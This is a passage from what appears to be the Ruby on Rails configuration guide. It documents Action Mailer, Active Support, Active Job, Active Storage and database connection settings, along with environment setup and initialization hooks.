Additionally, it is possible to pass any configuration option Mail::SMTP respects.

3.13.4 config.action_mailer.smtp_timeout

Allows to configure both the :open_timeout and :read_timeout values for :smtp delivery method.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | nil
7.0 | 5

3.13.5 config.action_mailer.sendmail_settings

Allows detailed configuration for the sendmail delivery method. It accepts a hash of options, which can include any of these options:

:location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.

:arguments - The command line arguments. Defaults to -i.

3.13.6 config.action_mailer.raise_delivery_errors

Specifies whether to raise an error if email delivery cannot be completed. It defaults to true.

3.13.7 config.action_mailer.delivery_method

Defines the delivery method and defaults to :smtp. See the configuration section in the Action Mailer guide for more info.

3.13.8 config.action_mailer.perform_deliveries

Specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.

3.13.9 config.action_mailer.default_options

Configures Action Mailer defaults. Use to set options like from or reply_to for every mailer. These default to:

  mime_version:  "1.0",
charset:       "UTF-8",
content_type: "text/plain",
parts_order:  ["text/plain", "text/enriched", "text/html"]

Assign a hash to set additional options:

  config.action_mailer.default_options = {
  from: "noreply@example.com"
}

3.13.10 config.action_mailer.observers

Registers observers which will be notified when mail is delivered.

  config.action_mailer.observers = ["MailObserver"]

3.13.11 config.action_mailer.interceptors

Registers interceptors which will be called before mail is sent.

  config.action_mailer.interceptors = ["MailInterceptor"]

3.13.12 config.action_mailer.preview_interceptors

Registers interceptors which will be called before mail is previewed.

  config.action_mailer.preview_interceptors = ["MyPreviewMailInterceptor"]

3.13.13 config.action_mailer.preview_path

Specifies the location of mailer previews.

  config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"

3.13.14 config.action_mailer.show_previews

Enable or disable mailer previews. By default this is true in development.

  config.action_mailer.show_previews = false

3.13.15 config.action_mailer.deliver_later_queue_name

Specifies the Active Job queue to use for delivery jobs. When this option is set to nil, delivery jobs are sent to the default Active Job queue (see config.active_job.default_queue_name). Make sure that your Active Job adapter is also configured to process the specified queue, otherwise delivery jobs may be silently ignored.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | :mailers
6.1 | nil

3.13.16 config.action_mailer.perform_caching

Specifies whether the mailer templates should perform fragment caching or not. If it's not specified, the default will be true.

3.13.17 config.action_mailer.delivery_job

Specifies delivery job for mail.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | ActionMailer::MailDeliveryJob
6.0 | "ActionMailer::MailDeliveryJob"

3.14 Configuring Active Support

There are a few configuration options available in Active Support:

3.14.1 config.active_support.bare

Enables or disables the loading of active_support/all when booting Rails. Defaults to nil, which means active_support/all is loaded.

3.14.2 config.active_support.test_order

Sets the order in which the test cases are executed. Possible values are :random and :sorted. Defaults to :random.

3.14.3 config.active_support.escape_html_entities_in_json

Enables or disables the escaping of HTML entities in JSON serialization. Defaults to true.

3.14.4 config.active_support.use_standard_json_time_format

Enables or disables serializing dates to ISO 8601 format. Defaults to true.

3.14.5 config.active_support.time_precision

Sets the precision of JSON encoded time values. Defaults to 3.

3.14.6 config.active_support.hash_digest_class

Allows configuring the digest class to use to generate non-sensitive digests, such as the ETag header.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | OpenSSL::Digest::MD5
5.2 | OpenSSL::Digest::SHA1
7.0 | OpenSSL::Digest::SHA256

3.14.7 config.active_support.key_generator_hash_digest_class

Allows configuring the digest class to use to derive secrets from the configured secret base, such as for encrypted cookies.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | OpenSSL::Digest::SHA1
7.0 | OpenSSL::Digest::SHA256

3.14.8 config.active_support.use_authenticated_message_encryption

Specifies whether to use AES-256-GCM authenticated encryption as the default cipher for encrypting messages instead of AES-256-CBC.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
5.2 | true

3.14.9 config.active_support.cache_format_version

Specifies which version of the cache serializer to use. Possible values are 6.1 and 7.0.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | 6.1
7.0 | 7.0

3.14.10 config.active_support.deprecation

Configures the behavior of deprecation warnings. The options are :raise, :stderr, :log, :notify, or :silence. The default is :stderr. Alternatively, you can set ActiveSupport::Deprecation.behavior.

3.14.11 config.active_support.disallowed_deprecation

Configures the behavior of disallowed deprecation warnings. The options are :raise, :stderr, :log, :notify, or :silence. The default is :raise. Alternatively, you can set ActiveSupport::Deprecation.disallowed_behavior.

3.14.12 config.active_support.disallowed_deprecation_warnings

Configures deprecation warnings that the Application considers disallowed. This allows, for example, specific deprecations to be treated as hard failures. Alternatively, you can set ActiveSupport::Deprecation.disallowed_warnings.

3.14.13 config.active_support.report_deprecations

Allows you to disable all deprecation warnings (including disallowed deprecations); it makes ActiveSupport::Deprecation.warn a no-op. This is enabled by default in production.

3.14.14 config.active_support.remove_deprecated_time_with_zone_name

Specifies whether to remove the deprecated override of the ActiveSupport::TimeWithZone.name method, to avoid triggering its deprecation warning.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | nil
7.0 | true

3.14.15 config.active_support.isolation_level

Configures the locality of most of Rails internal state. If you use a fiber based server or job processor (e.g. falcon), you should set it to :fiber. Otherwise it is best to use :thread locality. Defaults to :thread.

3.14.16 config.active_support.use_rfc4122_namespaced_uuids

Specifies whether generated namespaced UUIDs follow the RFC 4122 standard for namespace IDs provided as a String to Digest::UUID.uuid_v3 or Digest::UUID.uuid_v5 method calls.

If set to true:

Only UUIDs are allowed as namespace IDs. If a namespace ID value provided is not allowed, an ArgumentError will be raised.

No deprecation warning will be generated, no matter if the namespace ID used is one of the constants defined on Digest::UUID or a String.

Namespace IDs are case-insensitive.

All generated namespaced UUIDs should be compliant to the standard.

If set to false:

Any String value can be used as namespace ID (although not recommended). No ArgumentError will be raised in this case in order to preserve backwards-compatibility.

A deprecation warning will be generated if the namespace ID provided is not one of the constants defined on Digest::UUID.

Namespace IDs are case-sensitive.

Only namespaced UUIDs generated using one of the namespace ID constants defined on Digest::UUID are compliant to the standard.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
7.0 | true

3.14.17 config.active_support.executor_around_test_case

Configure the test suite to call Rails.application.executor.wrap around test cases. This makes test cases behave closer to an actual request or job. Several features that are normally disabled in test, such as Active Record query cache and asynchronous queries will then be enabled.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
7.0 | true

3.14.18 config.active_support.disable_to_s_conversion

Disables the override of the #to_s methods in some Ruby core classes. This config is for applications that want to take advantage early of a Ruby 3.1 optimization. This configuration needs to be set in config/application.rb inside the application class, otherwise it will not take effect.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
7.0 | true

3.14.19 ActiveSupport::Logger.silencer

Is set to false to disable the ability to silence logging in a block. The default is true.

3.14.20 ActiveSupport::Cache::Store.logger

Specifies the logger to use within cache store operations.

3.14.21 ActiveSupport.to_time_preserves_timezone

Specifies whether to_time methods preserve the UTC offset of their receivers. If false, to_time methods will convert to the local system UTC offset instead.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
5.0 | true

3.14.22 ActiveSupport.utc_to_local_returns_utc_offset_times

Configures ActiveSupport::TimeZone.utc_to_local to return a time with a UTC offset instead of a UTC time incorporating that offset.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
6.1 | true

3.15 Configuring Active Job

config.active_job provides the following configuration options:

3.15.1 config.active_job.queue_adapter

Sets the adapter for the queuing backend. The default adapter is :async. For an up-to-date list of built-in adapters see the ActiveJob::QueueAdapters API documentation.

  # Be sure to have the adapter's gem in your Gemfile
# and follow the adapter's specific installation
# and deployment instructions.
config.active_job.queue_adapter = :sidekiq

3.15.2 config.active_job.default_queue_name

Can be used to change the default queue name. By default this is "default".

  config.active_job.default_queue_name = :medium_priority

3.15.3 config.active_job.queue_name_prefix

Allows you to set an optional, non-blank, queue name prefix for all jobs. By default it is blank and not used.

The following configuration would queue the given job on the production_high_priority queue when run in production:

  config.active_job.queue_name_prefix = Rails.env

  class GuestsCleanupJob < ActiveJob::Base
  queue_as :high_priority
  #....
end

3.15.4 config.active_job.queue_name_delimiter

Has a default value of '_'. If queue_name_prefix is set, then queue_name_delimiter joins the prefix and the non-prefixed queue name.

The following configuration would queue the provided job on the video_server.low_priority queue:

  # prefix must be set for delimiter to be used
config.active_job.queue_name_prefix = 'video_server'
config.active_job.queue_name_delimiter = '.'

  class EncoderJob < ActiveJob::Base
  queue_as :low_priority
  #....
end

3.15.5 config.active_job.logger

Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Job. You can retrieve this logger by calling logger on either an Active Job class or an Active Job instance. Set to nil to disable logging.

3.15.6 config.active_job.custom_serializers

Allows to set custom argument serializers. Defaults to [].

3.15.7 config.active_job.log_arguments

Controls if the arguments of a job are logged. Defaults to true.

3.15.8 config.active_job.retry_jitter

Controls the amount of "jitter" (random variation) applied to the delay time calculated when retrying failed jobs.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | 0.0
6.1 | 0.15

3.15.9 config.active_job.log_query_tags_around_perform

Determines whether job context for query tags will be automatically updated via an around_perform. The default value is true.

3.16 Configuring Action Cable

3.16.1 config.action_cable.url

Accepts a string for the URL for where you are hosting your Action Cable server. You would use this option if you are running Action Cable servers that are separated from your main application.

3.16.2 config.action_cable.mount_path

Accepts a string for where to mount Action Cable, as part of the main server process. Defaults to /cable. You can set this as nil to not mount Action Cable as part of your normal Rails server.

You can find more detailed configuration options in the Action Cable Overview.

3.16.3 config.action_cable.precompile_assets

Determines whether the Action Cable assets should be added to the asset pipeline precompilation. It has no effect if Sprockets is not used. The default value is true.

3.17 Configuring Active Storage

config.active_storage provides the following configuration options:

3.17.1 config.active_storage.variant_processor

Accepts a symbol :mini_magick or :vips, specifying whether variant transformations and blob analysis will be performed with MiniMagick or ruby-vips.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | :mini_magick
7.0 | :vips

3.17.2 config.active_storage.analyzers

Accepts an array of classes indicating the analyzers available for Active Storage blobs. By default, this is defined as:

  config.active_storage.analyzers = [ActiveStorage::Analyzer::ImageAnalyzer::Vips, ActiveStorage::Analyzer::ImageAnalyzer::ImageMagick, ActiveStorage::Analyzer::VideoAnalyzer, ActiveStorage::Analyzer::AudioAnalyzer]

The image analyzers can extract width and height of an image blob; the video analyzer can extract width, height, duration, angle, aspect ratio, and presence/absence of video/audio channels of a video blob; the audio analyzer can extract duration and bit rate of an audio blob.

3.17.3 config.active_storage.previewers

Accepts an array of classes indicating the image previewers available in Active Storage blobs. By default, this is defined as:

  config.active_storage.previewers = [ActiveStorage::Previewer::PopplerPDFPreviewer, ActiveStorage::Previewer::MuPDFPreviewer, ActiveStorage::Previewer::VideoPreviewer]

PopplerPDFPreviewer and MuPDFPreviewer can generate a thumbnail from the first page of a PDF blob; VideoPreviewer from the relevant frame of a video blob.

3.17.4 config.active_storage.paths

Accepts a hash of options indicating the locations of previewer/analyzer commands. The default is {}, meaning the commands will be looked for in the default path. Can include any of these options:

:ffprobe - The location of the ffprobe executable.

:mutool - The location of the mutool executable.

:ffmpeg - The location of the ffmpeg executable.

  config.active_storage.paths[:ffprobe] = '/usr/local/bin/ffprobe'

3.17.5 config.active_storage.variable_content_types

Accepts an array of strings indicating the content types that Active Storage can transform through ImageMagick. By default, this is defined as:

  config.active_storage.variable_content_types = %w(image/png image/gif image/jpeg image/tiff image/vnd.adobe.photoshop image/vnd.microsoft.icon image/webp image/avif image/heic image/heif)

3.17.6 config.active_storage.web_image_content_types

Accepts an array of strings regarded as web image content types in which variants can be processed without being converted to the fallback PNG format. If you want to use WebP or AVIF variants in your application you can add image/webp or image/avif to this array. By default, this is defined as:

  config.active_storage.web_image_content_types = %w(image/png image/jpeg image/gif)

3.17.7 config.active_storage.content_types_to_serve_as_binary

Accepts an array of strings indicating the content types that Active Storage will always serve as an attachment, rather than inline. By default, this is defined as:

  config.active_storage.content_types_to_serve_as_binary = %w(text/html image/svg+xml application/postscript application/x-shockwave-flash text/xml application/xml application/xhtml+xml application/mathml+xml text/cache-manifest)

3.17.8 config.active_storage.content_types_allowed_inline

Accepts an array of strings indicating the content types that Active Storage allows to serve as inline. By default, this is defined as:

  config.active_storage.content_types_allowed_inline` = %w(image/png image/gif image/jpeg image/tiff image/vnd.adobe.photoshop image/vnd.microsoft.icon application/pdf)

3.17.9 config.active_storage.silence_invalid_content_types_warning

Since Rails 7, Active Storage will warn if you use an invalid content type that was incorrectly supported in Rails 6. You can use this config to turn the warning off.

  config.active_storage.silence_invalid_content_types_warning = false

3.17.10 config.active_storage.queues.analysis

Accepts a symbol indicating the Active Job queue to use for analysis jobs. When this option is nil, analysis jobs are sent to the default Active Job queue (see config.active_job.default_queue_name).

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
6.0 | :active_storage_analysis
6.1 | nil

3.17.11 config.active_storage.queues.purge

Accepts a symbol indicating the Active Job queue to use for purge jobs. When this option is nil, purge jobs are sent to the default Active Job queue (see config.active_job.default_queue_name).

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
6.0 | :active_storage_purge
6.1 | nil

3.17.12 config.active_storage.queues.mirror

Accepts a symbol indicating the Active Job queue to use for direct upload mirroring jobs. When this option is nil, mirroring jobs are sent to the default Active Job queue (see config.active_job.default_queue_name). The default is nil.

3.17.13 config.active_storage.logger

Can be used to set the logger used by Active Storage. Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class.

  config.active_storage.logger = ActiveSupport::Logger.new(STDOUT)

3.17.14 config.active_storage.service_urls_expire_in

Determines the default expiry of URLs generated by:

ActiveStorage::Blob#url

ActiveStorage::Blob#service_url_for_direct_upload

ActiveStorage::Variant#url

The default is 5 minutes.

3.17.15 config.active_storage.urls_expire_in

Determines the default expiry of URLs in the Rails application generated by Active Storage. The default is nil.

3.17.16 config.active_storage.routes_prefix

Can be used to set the route prefix for the routes served by Active Storage. Accepts a string that will be prepended to the generated routes.

  config.active_storage.routes_prefix = '/files'

The default is /rails/active_storage.

3.17.17 config.active_storage.replace_on_assign_to_many

Determines whether assigning to a collection of attachments declared with has_many_attached replaces any existing attachments or appends to them.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
6.0 | true

3.17.18 config.active_storage.track_variants

Determines whether variants are recorded in the database.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
6.1 | true

3.17.19 config.active_storage.draw_routes

Can be used to toggle Active Storage route generation. The default is true.

3.17.20 config.active_storage.resolve_model_to_route

Can be used to globally change how Active Storage files are delivered.

Allowed values are:

:rails_storage_redirect: Redirect to signed, short-lived service URLs.

:rails_storage_proxy: Proxy files by downloading them.

The default is :rails_storage_redirect.

3.17.21 config.active_storage.video_preview_arguments

Can be used to alter the way ffmpeg generates video preview images.

The default value depends on the config.load_defaults target version:

Starting with version
The default value is

(original)
"-y -vframes 1 -f image2"

7.0
"-vf 'select=eq(n\\,0)+eq(key\\,1)+gt(scene\\,0.015)"¹
+ ",loop=loop=-1:size=2,trim=start_frame=1'"²
+ " -frames:v 1 -f image2"

Select the first video frame, plus keyframes, plus frames that meet the scene change threshold.

Use the first video frame as a fallback when no other frames meet the criteria by looping the first (one or) two selected frames, then dropping the first looped frame.

3.17.22 config.active_storage.multiple_file_field_include_hidden

In Rails 7.1 and beyond, Active Storage has_many_attached relationships will default to replacing the current collection instead of appending to it. Thus to support submitting an empty collection, when multiple_file_field_include_hidden is true, the file_field helper will render an auxiliary hidden field, similar to the auxiliary field rendered by the check_box helper.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
7.0 | true

3.17.23 config.active_storage.precompile_assets

Determines whether the Active Storage assets should be added to the asset pipeline precompilation. It has no effect if Sprockets is not used. The default value is true.

3.18 Configuring Action Text

3.18.1 config.action_text.attachment_tag_name

Accepts a string for the HTML tag used to wrap attachments. Defaults to "action-text-attachment".

3.19 Configuring a Database

Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable ENV['DATABASE_URL'] or by using a configuration file called config/database.yml.

Using the config/database.yml file you can specify all the information needed to access your database:

  development:
  adapter: postgresql
  database: blog_development
  pool: 5

This will connect to the database named blog_development using the postgresql adapter. This same information can be stored in a URL and provided via an environment variable like this:

  ENV['DATABASE_URL'] # => "postgresql://localhost/blog_development?pool=5"

The config/database.yml file contains sections for three different environments in which Rails can run by default:

The development environment is used on your development/local computer as you interact manually with the application.

The test environment is used when running automated tests.

The production environment is used when you deploy your application for the world to use.

If you wish, you can manually specify a URL inside of your config/database.yml

  development:
  url: postgresql://localhost/blog_development?pool=5

The config/database.yml file can contain ERB tags <%= %>. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information.

You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named --database. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: cd .. && rails new blog --database=mysql. When you confirm the overwriting of the config/database.yml file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.

3.20 Connection Preference

Since there are two ways to configure your connection (using config/database.yml or using an environment variable) it is important to understand how they can interact.

If you have an empty config/database.yml file but your ENV['DATABASE_URL'] is present, then Rails will connect to the database via your environment variable:

  $ cat config/database.yml

$ echo $DATABASE_URL
postgresql://localhost/my_database

If you have a config/database.yml but no ENV['DATABASE_URL'] then this file will be used to connect to your database:

  $ cat config/database.yml
development:
  adapter: postgresql
  database: my_database
  host: localhost

$ echo $DATABASE_URL

If you have both config/database.yml and ENV['DATABASE_URL'] set then Rails will merge the configuration together. To better understand this we must see some examples.

When duplicate connection information is provided the environment variable will take precedence:

  $ cat config/database.yml
development:
  adapter: sqlite3
  database: NOT_my_database
  host: localhost

$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations'
#<ActiveRecord::DatabaseConfigurations:0x00007fd50e209a28>

$ bin/rails runner 'puts ActiveRecord::Base.configurations.inspect'
#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
  #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
    @env_name="development", @spec_name="primary",
    @config={"adapter"=>"postgresql", "database"=>"my_database", "host"=>"localhost"}
    @url="postgresql://localhost/my_database">
  ]

Here the adapter, host, and database match the information in ENV['DATABASE_URL'].

If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts.

  $ cat config/database.yml
development:
  adapter: sqlite3
  pool: 5

$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations'
#<ActiveRecord::DatabaseConfigurations:0x00007fd50e209a28>

$ bin/rails runner 'puts ActiveRecord::Base.configurations.inspect'
#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
  #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
    @env_name="development", @spec_name="primary",
    @config={"adapter"=>"postgresql", "database"=>"my_database", "host"=>"localhost", "pool"=>5}
    @url="postgresql://localhost/my_database">
  ]

Since pool is not in the ENV['DATABASE_URL'] provided connection information its information is merged in. Since adapter is duplicate, the ENV['DATABASE_URL'] connection information wins.

The only way to explicitly not use the connection information in ENV['DATABASE_URL'] is to specify an explicit URL connection using the "url" sub key:

  $ cat config/database.yml
development:
  url: sqlite3:NOT_my_database

$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations'
#<ActiveRecord::DatabaseConfigurations:0x00007fd50e209a28>

$ bin/rails runner 'puts ActiveRecord::Base.configurations.inspect'
#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
  #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
    @env_name="development", @spec_name="primary",
    @config={"adapter"=>"sqlite3", "database"=>"NOT_my_database"}
    @url="sqlite3:NOT_my_database">
  ]

Here the connection information in ENV['DATABASE_URL'] is ignored, note the different adapter and database name.

Since it is possible to embed ERB in your config/database.yml it is best practice to explicitly show you are using the ENV['DATABASE_URL'] to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git).

  $ cat config/database.yml
production:
  url: <%= ENV['DATABASE_URL'] %>

Now the behavior is clear, that we are only using the connection information in ENV['DATABASE_URL'].

3.20.1 Configuring an SQLite3 Database

Rails comes with built-in support for SQLite3, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.

Here's the section of the default configuration file (config/database.yml) with connection information for the development environment:

  development:
  adapter: sqlite3
  database: db/development.sqlite3
  pool: 5
  timeout: 5000

Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL (including MariaDB) and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.

3.20.2 Configuring a MySQL or MariaDB Database

If you choose to use MySQL or MariaDB instead of the shipped SQLite3 database, your config/database.yml will look a little different. Here's the development section:

  development:
  adapter: mysql2
  encoding: utf8mb4
  database: blog_development
  pool: 5
  username: root
  password:
  socket: /tmp/mysql.sock

If your development database has a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the development section as appropriate.

If your MySQL version is 5.5 or 5.6 and want to use the utf8mb4 character set by default, please configure your MySQL server to support the longer key prefix by enabling innodb_large_prefix system variable.

Advisory Locks are enabled by default on MySQL and are used to make database migrations concurrent safe. You can disable advisory locks by setting advisory_locks to false:

  production:
  adapter: mysql2
  advisory_locks: false

3.20.3 Configuring a PostgreSQL Database

If you choose to use PostgreSQL, your config/database.yml will be customized to use PostgreSQL databases:

  development:
  adapter: postgresql
  encoding: unicode
  database: blog_development
  pool: 5

By default Active Record uses database features like prepared statements and advisory locks. You might need to disable those features if you're using an external connection pooler like PgBouncer:

  production:
  adapter: postgresql
  prepared_statements: false
  advisory_locks: false

If enabled, Active Record will create up to 1000 prepared statements per database connection by default. To modify this behavior you can set statement_limit to a different value:

  production:
  adapter: postgresql
  statement_limit: 200

The more prepared statements in use: the more memory your database will require. If your PostgreSQL database is hitting memory limits, try lowering statement_limit or disabling prepared statements.

3.20.4 Configuring an SQLite3 Database for JRuby Platform

If you choose to use SQLite3 and are using JRuby, your config/database.yml will look a little different. Here's the development section:

  development:
  adapter: jdbcsqlite3
  database: db/development.sqlite3

3.20.5 Configuring a MySQL or MariaDB Database for JRuby Platform

If you choose to use MySQL or MariaDB and are using JRuby, your config/database.yml will look a little different. Here's the development section:

  development:
  adapter: jdbcmysql
  database: blog_development
  username: root
  password:

3.20.6 Configuring a PostgreSQL Database for JRuby Platform

If you choose to use PostgreSQL and are using JRuby, your config/database.yml will look a little different. Here's the development section:

  development:
  adapter: jdbcpostgresql
  encoding: unicode
  database: blog_development
  username: blog
  password:

Change the username and password in the development section as appropriate.

3.20.7 Configuring Metadata Storage

By default Rails will store information about your Rails environment and schema in an internal table named ar_internal_metadata.

To turn this off per connection, set use_metadata_table in your database configuration. This is useful when working with a shared database and/or database user that cannot create tables.

  development:
  adapter: postgresql
  use_metadata_table: false

3.21 Creating Rails Environments

By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments.

Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called config/environments/staging.rb. Since this is a production-like environment, you could copy the contents of config/environments/production.rb as a starting point and make the necessary changes from there. It's also possible to require and extend other environment configurations like this:

  # config/environments/staging.rb
require_relative "production"

Rails.application.configure do
  # Staging overrides
end

That environment is no different than the default ones, start a server with bin/rails server -e staging, a console with bin/rails console -e staging, Rails.env.staging? works, etc.

3.22 Deploy to a Subdirectory (relative URL root)

By default Rails expects that your application is running at the root (e.g. /). This section explains how to run your application inside a directory.

Let's assume we want to deploy our application to "/app1". Rails needs to know this directory to generate the appropriate routes:

  config.relative_url_root = "/app1"

alternatively you can set the RAILS_RELATIVE_URL_ROOT environment variable.

Rails will now prepend "/app1" when generating links.

3.22.1 Using Passenger

Passenger makes it easy to run your application in a subdirectory. You can find the relevant configuration in the Passenger manual.

3.22.2 Using a Reverse Proxy

Deploying your application using a reverse proxy has definite advantages over traditional deploys. They allow you to have more control over your server by layering the components required by your application.

Many modern web servers can be used as a proxy server to balance third-party elements such as caching servers or application servers.

One such application server you can use is Unicorn to run behind a reverse proxy.

In this case, you would need to configure the proxy server (NGINX, Apache, etc) to accept connections from your application server (Unicorn). By default Unicorn will listen for TCP connections on port 8080, but you can change the port or configure it to use sockets instead.

You can find more information in the Unicorn readme and understand the philosophy behind it.

Once you've configured the application server, you must proxy requests to it by configuring your web server appropriately. For example your NGINX config may include:

  upstream application_server {
  server 0.0.0.0:8080;
}

server {
  listen 80;
  server_name localhost;

  root /root/path/to/your_app/public;

  try_files $uri/index.html $uri.html @app;

  location @app {
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header Host $http_host;
    proxy_redirect off;
    proxy_pass http://application_server;
  }

  # some other configuration
}

Be sure to read the NGINX documentation for the most up-to-date information.

4 Rails Environment Settings

Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:

ENV["RAILS_ENV"] defines the Rails environment (production, development, test, and so on) that Rails will run under.

ENV["RAILS_RELATIVE_URL_ROOT"] is used by the routing code to recognize URLs when you deploy your application to a subdirectory.

ENV["RAILS_CACHE_ID"] and ENV["RAILS_APP_VERSION"] are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.

5 Using Initializer Files

After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under config/initializers in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts.

The files in config/initializers (and any subdirectories of config/initializers) are sorted and loaded one by one as part of the load_config_initializers initializer.

If an initializer has code that relies on code in another initializer, you can combine them into a single initializer instead. This makes the dependencies more explicit, and can help surface new concepts within your application. Rails also supports numbering of initializer file names, but this can lead to file name churn. Explicitly loading initializers with require is not recommended, since it will cause the initializer to get loaded twice.

There is no guarantee that your initializers will run after all the gem initializers, so any initialization code that depends on a given gem having been initialized should go into a config.after_initialize block.

6 Initialization Events

Rails has 5 initialization events which can be hooked into (listed in the order that they are run):

before_configuration: This is run as soon as the application constant inherits from Rails::Application. The config calls are evaluated before this happens.

before_initialize: This is run directly before the initialization process of the application occurs with the :bootstrap_hook initializer near the beginning of the Rails initialization process.

to_prepare: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every code reload in development, but only once (during boot-up) in production and test.

before_eager_load: This is run directly before eager loading occurs, which is the default behavior for the production environment and not for the development environment.

after_initialize: Run directly after the initialization of the application, after the application initializers in config/initializers are run.

To define an event for these hooks, use the block syntax within a Rails::Application, Rails::Railtie or Rails::Engine subclass:

  module YourApp
  class Application < Rails::Application
    config.before_initialize do
      # initialization code goes here
    end
  end
end

Alternatively, you can also do it through the config method on the Rails.application object:

  Rails.application.config.before_initialize do
  # initialization code goes here
end

Some parts of your application, notably routing, are not yet set up at the point where the after_initialize block is called.

6.1 Rails::Railtie#initializer

Rails has several initializers that run on startup that are all defined by using the initializer method from Rails::Railtie. Here's an example of the set_helpers_path initializer from Action Controller:

  initializer "action_controller.set_helpers_path" do |app|
  ActionController::Helpers.helpers_path = app.helpers_paths
end

The initializer method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The :before key in the options hash can be specified to specify which initializer this new initializer must run before, and the :after key will specify which initializer to run this initializer after.

Initializers defined using the initializer method will be run in the order they are defined in, with the exception of ones that use the :before or :after methods.

You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go before "two" but after "three", that just isn't logical and Rails will not be able to determine your initializer order.

The block argument of the initializer method is the instance of the application itself, and so we can access the configuration on it by using the config method as done in the example.

Because Rails::Application inherits from Rails::Railtie (indirectly), you can use the initializer method in config/application.rb to define initializers for the application.

6.2 Initializers

Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).

load_environment_hook: Serves as a placeholder so that :load_environment_config can be defined to run before it.

load_active_support: Requires active_support/dependencies which sets up the basis for Active Support. Optionally requires active_support/all if config.active_support.bare is un-truthful, which is the default.

initialize_logger: Initializes the logger (an ActiveSupport::Logger object) for the application and makes it accessible at Rails.logger, provided that no initializer inserted before this point has defined Rails.logger.

initialize_cache: If Rails.cache isn't set yet, initializes the cache by referencing the value in config.cache_store and stores the outcome as Rails.cache. If this object responds to the middleware method, its middleware is inserted before Rack::Runtime in the middleware stack.

set_clear_dependencies_hook: This initializer - which runs only if cache_classes is set to false - uses ActionDispatch::Callbacks.after to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.

bootstrap_hook: Runs all configured before_initialize blocks.

i18n.callbacks: In the development environment, sets up a to_prepare callback which will call I18n.reload! if any of the locales have changed since the last request. In production this callback will only run on the first request.

active_support.deprecation_behavior: Sets up deprecation reporting for environments, defaulting to :log for development, :silence for production, and :stderr for test. Can be set to an array of values. This initializer also sets up behaviors for disallowed deprecations, defaulting to :raise for development and test and :silence for production. Disallowed deprecation warnings default to an empty array.

active_support.initialize_time_zone: Sets the default time zone for the application based on the config.time_zone setting, which defaults to "UTC".

active_support.initialize_beginning_of_week: Sets the default beginning of week for the application based on config.beginning_of_week setting, which defaults to :monday.

active_support.set_configs: Sets up Active Support by using the settings in config.active_support by send'ing the method names as setters to ActiveSupport and passing the values through.

action_dispatch.configure: Configures the ActionDispatch::Http::URL.tld_length to be set to the value of config.action_dispatch.tld_length.

